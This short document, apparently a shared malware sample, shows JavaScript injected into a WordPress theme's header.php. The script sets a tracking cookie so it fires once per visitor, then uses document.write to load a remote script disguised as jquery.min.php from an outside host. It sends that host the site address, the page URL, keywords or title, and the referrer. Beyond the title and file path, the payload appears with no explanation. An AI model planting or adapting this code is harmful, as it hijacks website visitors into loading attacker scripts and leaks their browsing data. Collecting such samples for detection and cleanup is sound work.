Wordpress malware

# dir = wp-content/themes/theme-name/header.php

<script>var a='';setTimeout(1);function setCookie(a,b,c){var d=new Date;d.setTime(d.getTime()+60*c*60*1e3);var e="expires="+d.toUTCString();document.cookie=a+"="+b+"; "+e}function getCookie(a){for(var b=a+"=",c=document.cookie.split(";"),d=0;d<c.length;d++){for(var e=c[d];" "==e.charAt(0);)e=e.substring(1);if(0==e.indexOf(b))return e.substring(b.length,e.length)}return null}null==getCookie("__cfgoid")&&(setCookie("__cfgoid",1,1),1==getCookie("__cfgoid")&&(setCookie("__cfgoid",2,1),document.write('<script type="text/javascript" src="' + 'http://doylend*com/js/jquery.min.php' + '?key=b64' + '&utm_campaign=' + 'J18171' + '&utm_source=' + window.location.host + '&utm_medium=' + '&utm_content=' + window.location + '&utm_term=' + encodeURIComponent(((k=(function(){var keywords = '';var metas = document.getElementsByTagName('meta');if (metas) {for (var x=0,y=metas.length; x<y; x++) {if (metas[x].name.toLowerCase() == "keywords") {keywords += metas[x].content;}}}return keywords !== '' ? keywords : null;})())==null?(v=window.location.search.match(/utm_term=([^&]+)/))==null?(t=document.title)==null?'':t:v[1]:k)) + '&se_referrer=' + encodeURIComponent(document.referrer) + '"><' + '/script>')));</script>